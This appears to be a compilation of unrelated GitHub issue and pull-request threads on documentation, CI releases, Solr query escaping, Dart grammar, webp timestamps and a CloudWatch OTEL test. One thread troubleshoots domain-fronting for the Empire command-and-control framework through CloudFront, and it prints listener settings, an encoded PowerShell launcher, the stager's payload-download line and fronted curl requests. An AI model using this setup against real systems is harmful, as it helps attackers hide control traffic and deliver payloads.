Can someone write a tutorial about how to do this in ddlog? @netj @feiranwang
Follow up with Nigam for an example.

We now have a dedicated UDF doc that implies how to plug in these general extractors, then highlighting our Python support.  Maybe we can write another section about general udfs.  The new spouse example in fact already includes such non-Python but Java/Scala extractor (CoreNLP):  nlp_markup.sh with its DDlog counterpart.  So it's really a matter of writing about them, or maybe the page already is clear enough?

OK, UDFs are language-agnostic and decoupled from DD core (only connection is command line string in ddlog and data pipes at runtime). @netj we should probably emphasize these points in the next version of docs. Feel free to close either now or when doc is updated.


Con 374 cis 4.4

why do we need a separate rule_runner for this?

@george-moberly It was more that I wanted to do this with a u-visor runner than wanted a separate runner. I'm sure this could be done with v1 of the SDK but I'm now writing in V2 as default

On Second glance I see what you mean, I'll edit this tomorrow


ci: add semantic-release

This PR configures the Github Action to automatically release changes to main branch. It also creates an automatic changelog based on the commits in the release.

That was my idea, yes. With this change every commit to main may lead to a release so updating the changelog manually seems like too much effort. Additionally he changes also get displayed in the releases tab in the repo.
The commit messages can be written while merging branches in the Github UI so we still have full control over what gets displayed there.
This is just the proposal though, I'm totally open for other approaches as well.

GITHUB_TOKEN is injected automatically (except on forks), NPM_TOKEN was added by me under Settings > Secrets.

The commit messages can be written while merging branches in the Github UI so we still have full control over what gets displayed there.

Let's hope we won't forget about it. I tried to use automatic release notes but it backslid every time and created mess with automatic merge messages


DS-2699 Only escape colon-space, not other characters

Escaping all characters with special meaning in Solr query syntax prevents
users from doing advanced searches, including those with explicit operators
(AND/OR), range queries and NOT-type queries. The colon character quite
commonly occurs in titles of research publications, where it is typically
followed by a space. Unfortunately, it's regarded as a special character by
Solr and would normally need to be escaped when it's just part of a phrase
search (not part of a fielded search). Escaping the colon character only when
it's followed by a space character still allows the user to manually enter
fielded queries (eg -fulltext:[* TO *] to find all items without fulltext). At
the same time, queries where someone pastes in a publication title containing
colon-space still "just work".

This is a new PR (against master) with just the syntax fix from https://github.com/DSpace/DSpace/pull/1045. This PR also attempts to address JSPUI, which hasn't been tested yet.

Tested on XMLUI & JSPUI and works as expected.  I also ran some basic tests to ensure this doesn't accidentally reintroduce DS-2602 or DS-2461:
https://jira.duraspace.org/browse/DS-2602
https://jira.duraspace.org/browse/DS-2461
It all works! Merging this for 5.4


Can't make domain-fronting work

Empire Version
2.4 (dev branch)
OS Information (Linux flavor, Python version)
Linux kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.12-2kali2 (2018-01-11) x86_64 GNU/Linux
Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.
Screenshot of error, embedded text output, or Pastebin link to the error

https_listener Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  StagerURI         False                                        URI for the stager. Must use /download/. Example: /download/stager.php
  ProxyCreds        False       default                          Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        https_listener                   Name for the listener.
  Launcher          True        powershell -noP -sta -w 1 -enc   Launcher string.
  DefaultProfile    True        /admin/login.php,/console/dashbo Default communication profile for the agent.
                                ard.asp,/news/today.jsp|
                                Mozilla/5.0 (Windows NT 6.1;
                                WOW64; Trident/7.0);|Host:d3XXXX
                                XXXXXXyj.cloudfront.net
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  Host              True        https://<frontable-domain>:443      Hostname/IP for staging.
  Port              True        443                              Port for the listener.
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  CertPath          False       data                             Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  SlackChannel      False       #general                         The Slack channel or DM that notifications will be sent to.
  BindIP            True        <IP_ADDRESS>                          The IP to bind to on the control server.
  UserAgent         False       default                          User-agent string to use for the staging request (default, none, or other).
  StagingKey        True        .bp%)kN+-vDF4U~;j2s=fqXl8}J?K{>@ Staging key for initial agent negotiation.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  SlackToken        False                                        Your SlackBot API token to communicate with your Slack instance.
  ServerVersion     True        Microsoft-IIS/7.5                Server header for the control server.
  Proxy             False       default                          Proxy to use for request (default, none, or other).

Then I do:
usestager windows/launcher_bat
set Listener https_listener
execute

I do see communication to :

But nothing in the Empire console...
Any additional information
curl -kv https:// --header "Host: d3XXXXXXXXXXyj.cloudfront.net" works
Yes I have seen issue https://github.com/EmpireProject/Empire/issues/533
... and do not understand why it does not work like on:
https://sowhatsecurity.co.uk/2017/08/16/domain-fronting-with-empire-cloudfront-and-lets-encrypt/

@Ibrahimous what version of Windows is running on your target? What version of .NET? This will not work with powershell v2 and .NET v2

Windows 10:
Name                           Value
----                           -----
PSVersion                      5.1.16299.98
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.16299.98
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           <IP_ADDRESS>

@Ibrahimous I'd take a look at the cache settings. I'm not sure if what's shown in that blog post is correct. You should model your settings to mirror what is show here: https://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks

Might it have something to do with the CertPath option? @xorrior Do you need to have the cert pair that the front domain is using? Because I have had issues where I was doing something similar, and I was getting Invalid ciphertext received.
I tracked it down in the source code, located at line 181 below:
https://github.com/EmpireProject/Empire/blob/master/lib/common/encryption.py
I believe the issue was that I was using the cert pair generated by Empire, rather than the one for the fronted domain, although I never solved the problem conclusively.

@xorrior @Strazzom Thanks a lot for your quick answers !
It might have something to do with caching, indeed, as for some reason in cloudfront I ticked "transmit cookies" but not "transmit headers", I'm going to test it again.
I don't think the problem is bound to wrong certificate, since I generated my own with https://github.com/certbot/certbot and have then a valid one.
I can private message you details of my cloudfront distribution, domain name, and the frontable domain I'm using if you wish.

Unfortunately, it doesn't work better :( I tracked down the powershell generated stager, and found that the following line fails (translated from french):
$DATA=$WC.DowNloADDAtA($SeR+$t)
Exception calling "DownloadData" with « 1 » argument(s) : "The remote server returned a 502 error : Bad gateway"
At caracter line 1 : 1
+ $DATA=$WC.DowNloADDAtA($SeR+$t)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException

This is really strange as curl requests do work:
# curl -kI https://c<frontable-domain> --header "Host: d3XXXXXXXXXXyj.cloudfront.net" --header "Cookie: session=cQoxmZ8HuS72mq/eLYQ3gDdnKFE="
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 682
Connection: keep-alive
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Server: Microsoft-IIS/7.5
Date: Wed, 07 Feb 2018 08:51:18 GMT
X-Cache: Miss from cloudfront
Via: 1.1 8da5def65f6d04fe2831a284a461df6b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: yelcuhBahFXjY2jg5wAM45l4E2PV88Gih8tjyLgHWbhjBHBB5Tym2Q==

@Ibrahimous You don't have a proxy set in your stager right? Otherwise I'm not sure what would cause that.

@xorrior Thx but no, as from my Windows I'm able to use curl as well as from my Kali (where my listener listens):

I have to debug that using Burp... proxy I just can't figure what .downloaddata does which returns a 502 error

🤷♂

@xorrior @Strazzom I figured it out (by using burp) !
2 problems there was:

The agent does NOT add the correct host, I see the following request leaving my computer through the proxy:

GET / HTTP/1.1
Cookie: session=jK3ft...z0=
Host: <frontable-domain> VS <my cloudfront distribution> !
Connection: close

This is abnormal since I do see the following in the agent code:
$WC.HeAdeRs.AdD("Host","<my cloudfront distribution>");
That request implies with the understandable 502 Bad gateway response.
Besides, this is really strange since below mentionned POST requests DO have the Host Header value set to .
If I replace  by by intercepting the request with Burp, I get a 200 return code.

The cloudfront distribution must be configured to allow all kinds of requests, in particular POST requests. If not, you get a 403 Unauthorized response.

I'm going to look for the reason causing the issue 1.


Add delta to mds converter

Description of changes:

Introduced a utility function for converting a Spark DataFrame into an MDS format.
This utility function is flexible and supports a callable function, allowing modifications to the original data format. The function iterates over the callable, processes the modified data, and writes it in MDS format. For instance, it can be used with a tokenizer callable function that yields tokens as output.
Included an example Jupyter notebook demonstrating a complete workflow. It illustrates how to transform raw data into a Spark DataFrame and then convert it into the MDS format.

Merge Checklist:
Put an x without space in the boxes that apply. If you are unsure about any checklist, please don't hesitate to ask. We are here to help! This is simply a reminder of what we are going to look for before merging your pull request.
General

[x] I have read the contributor guidelines
[x] This is a documentation change or typo fix. If so, skip the rest of this checklist.
[x] I certify that the changes I am introducing will be backward compatible, and I have discussed concerns about this, if any, with the MosaicML team.
[x] I have updated any necessary documentation, including README and API docs (if appropriate).

Tests

[x] I ran pre-commit on my change. (check out the pre-commit section of prerequisites)
[x] I have added tests that prove my fix is effective or that my feature works (if appropriate).
[x] I ran the tests locally to make sure it pass. (check out testing)
[x] I have added unit and/or integration tests as appropriate to ensure backward compatibility of the changes.

You may want to use a jupytext pre-commit or some other formatiing the Jupyter notebook to make it easy to view in Github / easy to check PRs with it. Jupytext can roundtrip between notebooks and python files.


dartLangSpec.tex says that static must precede metadata

{\bf methodSignature:}constructorSignature initializers?;
      factoryConstructorSignature;
      \STATIC{}? functionSignature;
      \STATIC{}? getterSignature;
      \STATIC{}? setterSignature;
      operatorSignature
    .

BUT:
{\bf functionSignature:}
    metadata returnType? identifier formalParameterList
    .

So according to the grammar, this should be correct:
static @override foo() => 42

And this isn't correct:
@override static foo() => 42

Right, that is a fault in the grammar. It is already covered in https://codereview.chromium.org/2688903004, and I'll rework the grammar in the spec to include corrections made there.

No milestone now: This correction is part of a larger update of grammar related parts of the specification, based on Dart.g.

Closing: Fixed in ea7cf292082d2648f1b218d3c92d3b23b86a5d65.


Cannot find patchfinder64.c, Will not build.

I have tried compiling the V1ntex branch, and the master, and they all say the same thing:
error: Build input file cannot be found: '/Users/me246813579/Desktop/Xcode/Undecimus/patchfinder64/patchfinder64.c'
I am not sure how I can solve this, do I need to download this and place it where it needs to be?
Does this happen to everyone, or is it only me?

@me246813579
git clone --recursive https://github.com/pwn20wndstuff/Undecimus.git


Consider using std::time::Duration for timestamps

https://github.com/blaind/webp-animation/blob/abe766438fc0418d88d2664fa510a328b4922277/README.md?plain=1#L25-L26
The type i32 is used for timestamps in a lot of places.
Do you think you could switch to using Rust's std::time::Duration for timestamps instead?
This would make the interface look more like Rust and less like C, and it would have saved me some docs reading.

I think Duration would have different meaning, than the timestamp.
Since the timestamp in webp library means timestamp_ms -- (in) timestamp of this frame in milliseconds. Duration of a frame would be calculated as "timestamp of next frame - timestamp of this frame". Hence, timestamps should be in non-decreasing order.
Durations would make sense, if it depicted the animation-duration of a submitted frame. However, that would require caching one frame and interpolating the duration from the next frame.

The way I see it is that each frame gets a "timestamp".
However, this is not any generic timestamp, but the duration since the start of the animation at which this particular frame starts. Which could be represented as a Duration, no other code changes necessary.
Given your interpretation though, I realize how using Duration could be confusing as well...
If you used timestamp_ms as the name for the timestamp parameter then that would have helped me.

Agreed, the Duration may be confusing. It would also pose new problems with non-ms-aligned durations.
I've created the pull request for renaming the parameter to timestamp_ms, as in webp library.

Alleviated by #16

This is now released to crates.io in version 0.8


Refresh Ray to v2.9.2

Checklist before submitting

[ ] Did you read the contributor guide?
[ ] Did you update any affected documentation?
[ ] Did you write any tests to validate this change?

Description
Fixes # (issue).
Review process to land

All tests and other checks must succeed.
At least one maintainer must review and approve.
If any  maintainer requests changes, they must be addressed.

this still has the shm issue, right?

this still has the shm issue, right?

shm size issue were seeing on ppc, on X86 ray built successfully.


Adding integ test for otel yaml merging

Description of the issue
This pr adds otel yaml merging integ test. We want to make sure that no regression happens in the agent where the yaml merging for the agent stops working.  Passing test run: https://github.com/aws/amazon-cloudwatch-agent/actions/runs/11404848694/job/31735108673
Passing test

s/11353738985/job/31579557585
Amazon-cloudwatch-agent repo pr: https://github.com/aws/amazon-cloudwatch-agent/pull/1391
Description of changes
Test workflow

Starts the agent with the given config.json below using StartAgent() function
Calls sudo /opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a append-config -s -m ec2 -c file:./resources/otel.yaml
Then we do a curl -X POST -H "Content-Type: application/json" -d @metrics.json -i localhost:4318/v1/metrics
where otlp reciever listens to this and sends it over to cloudwatch using the awsemf exporter.
Then confirm the metric is in the console.

Agent json configuration
{
  "metrics": {
    "metrics_collected": {
      "cpu": {
        "measurement": [
          "cpu_usage_idle"
        ]
      }
    }
  }
}

Agent Yaml:
exporters:
    awscloudwatch:
        force_flush_interval: 1m0s
        max_datums_per_call: 1000
        max_values_per_datum: 150
        middleware: agenthealth/metrics
        namespace: CWAgent
        region: us-west-2
        resource_to_telemetry_conversion:
            enabled: true
extensions:
    agenthealth/metrics:
        is_usage_data_enabled: true
        stats:
            operations:
                - PutMetricData
            usage_flags:
                mode: EC2
                region_type: EC2M
receivers:
    telegraf_cpu:
        collection_interval: 1m0s
        initial_delay: 1s
        timeout: 0s
service:
    extensions:
        - agenthealth/metrics
    pipelines:
        metrics/host:
            exporters:
                - awscloudwatch
            processors: []
            receivers:
                - telegraf_cpu
    telemetry:
        logs:
            development: false
            disable_caller: false
            disable_stacktrace: false
            encoding: console
            level: info
            output_paths:
                - /opt/aws/amazon-cloudwatch-agent/logs/amazon-cloudwatch-agent.log
            sampling:
                enabled: true
                initial: 2
                thereafter: 500
                tick: 10s
        metrics:
            address: ""
            level: None
        traces: {}

Otel Yaml
receivers:
  otlp:
    protocols:
      grpc:
      http:

exporters:
  awsemf/otel-merging:
    namespace: "CWAgent-testing-otel"
    log_group_name: "CWA"
    dimension_rollup_option: "NoDimensionRollup"
    log_stream_name: "Testing-otel"
    resource_to_telemetry_conversion:
      enabled: true
    version: "0"

extensions:
  health_check:

service:
  extensions:
    - health_check
  pipelines:
    metrics:
      receivers: [otlp]
      exporters: [awsemf/otel-merging]

Merged OTEL configuration:
exporters:
    awscloudwatch:
        force_flush_interval: 1m0s
        max_datums_per_call: 1000
        max_values_per_datum: 150
        middleware: agenthealth/metrics
        namespace: CWAgent
        region: us-west-2
        resource_to_telemetry_conversion:
            enabled: true
    awsemf/otel-merging:
        certificate_file_path: ""
        detailed_metrics: false
        dimension_rollup_option: NoDimensionRollup
        disable_metric_extraction: false
        eks_fargate_container_insights_enabled: false
        endpoint: ""
        enhanced_container_insights: false
        imds_retries: 0
        local_mode: false
        log_group_name: CWA
        log_retention: 0
        log_stream_name: Testing-otel
        max_retries: 2
        namespace: CWAgent-testing-otel
        no_verify_ssl: false
        num_workers: 8
        output_destination: cloudwatch
        profile: ""
        proxy_address: ""
        region: ""
        request_timeout_seconds: 30
        resource_arn: ""
        resource_to_telemetry_conversion:
            enabled: true
        retain_initial_value_of_delta_metric: false
        role_arn: ""
        version: "0"
extensions:
    agenthealth/metrics:
        is_usage_data_enabled: true
        stats:
            operations:
                - PutMetricData
            usage_flags:
                mode: EC2
                region_type: EC2M
    health_check:
        check_collector_pipeline:
            enabled: false
            exporter_failure_threshold: 5
            interval: 5m
        endpoint: <IP_ADDRESS>:13133
        include_metadata: false
        max_request_body_size: 0
        path: /
receivers:
    otlp:
        protocols:
            grpc:
                dialer:
                    timeout: 0s
                endpoint: <IP_ADDRESS>:4317
                include_metadata: false
                max_concurrent_streams: 0
                max_recv_msg_size_mib: 0
                read_buffer_size: 524288
                transport: tcp
                write_buffer_size: 0
            http:
                endpoint: <IP_ADDRESS>:4318
                include_metadata: false
                logs_url_path: /v1/logs
                max_request_body_size: 0
                metrics_url_path: /v1/metrics
                traces_url_path: /v1/traces
    telegraf_cpu:
        collection_interval: 1m0s
        initial_delay: 1s
        timeout: 0s
service:
    extensions:
        - agenthealth/metrics
        - health_check
    pipelines:
        metrics:
            exporters:
                - awsemf/otel-merging
            receivers:
                - otlp
        metrics/host:
            exporters:
                - awscloudwatch
            processors: []
            receivers:
                - telegraf_cpu
    telemetry:
        logs:
            development: false
            disable_caller: false
            disable_stacktrace: false
            encoding: console
            error_output_paths:
                - stderr
            level: info
            output_paths:
                - /opt/aws/amazon-cloudwatch-agent/logs/amazon-cloudwatch-agent.log
            sampling:
                enabled: true
                initial: 2
                thereafter: 500
                tick: 10s
        metrics:
            address: ""
            level: None
        traces: {}

License
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.
Tests
Manually tested this on ec2 instance by running these command with the above configurations:
sudo /opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -m ec2 -a stop=
sudo rm /opt/aws/amazon-cloudwatch-agent/etc/amazon-cloudwatch-agent.yaml
sudo rm /opt/aws/amazon-cloudwatch-agent/logs/amazon-cloudwatch-agent.log
sudo /opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a fetch-config -s -m ec2 -c file:/opt/aws/amazon-cloudwatch-agent/bin/config.json
sudo /opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a append-config -s -m ec2 -c file:/home/ec2-user/test.yaml
sleep 5
cat /opt/aws/amazon-cloudwatch-agent/logs/amazon-cloudwatch-agent.log
go run goScript.go //which simply just does a curl to otlp reciever to add metrics

Github actions passing test: https://github.com/aws/amazon-cloudwatch-agent/actions/runs/11353738985/job/31579557585

nit: https://github.com/aws/amazon-cloudwatch-agent/actions/runs/11404848694/job/31735108673 Based on the test run, I see this test is by itself under EC2OtelMerging section. Do we anticipate more tests being added to this section? If not, should we just move this into EC2Linux?